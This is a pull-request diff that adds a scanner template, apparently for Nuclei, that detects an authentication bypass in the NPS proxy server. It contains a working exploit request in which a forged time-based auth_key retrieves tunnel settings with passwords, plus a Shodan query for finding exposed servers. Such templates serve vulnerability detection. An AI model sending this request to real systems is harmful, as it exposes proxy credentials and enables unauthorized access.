Merge pull request #6258 from SleepingBag945/new-template-nps-auth-bypass
Added nps-auth-bypasspatch-1
commit
e1965b05b2
|
@ -0,0 +1,42 @@
|
||||||
|
id: nps-auth-bypass
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: NPS - Authentication Bypass
|
||||||
|
author: SleepingBag945
|
||||||
|
severity: high
|
||||||
|
description: |
|
||||||
|
This will reveal all parameters configured on the NPS, including the account username and password of the proxy.
|
||||||
|
reference:
|
||||||
|
- https://mari0er.club/post/nps.html/
|
||||||
|
metadata:
|
||||||
|
verified: true
|
||||||
|
shodan-query: html:"window.nps"
|
||||||
|
tags: nps,auth-bypass
|
||||||
|
|
||||||
|
requests:
|
||||||
|
- raw:
|
||||||
|
- |
|
||||||
|
POST /index/gettunnel HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
auth_key={{md5(unix_time())}}×tamp={{unix_time()}}&offset=0&limit=10&type=socks5&client_id=&search=
|
||||||
|
|
||||||
|
matchers-condition: and
|
||||||
|
matchers:
|
||||||
|
- type: word
|
||||||
|
part: body
|
||||||
|
words:
|
||||||
|
- '"VerifyKey":'
|
||||||
|
- 'Password":'
|
||||||
|
- 'Id":'
|
||||||
|
condition: and
|
||||||
|
|
||||||
|
- type: word
|
||||||
|
part: header
|
||||||
|
words:
|
||||||
|
- "application/json"
|
||||||
|
|
||||||
|
- type: status
|
||||||
|
status:
|
||||||
|
- 200
|
Loading…
Reference in New Issue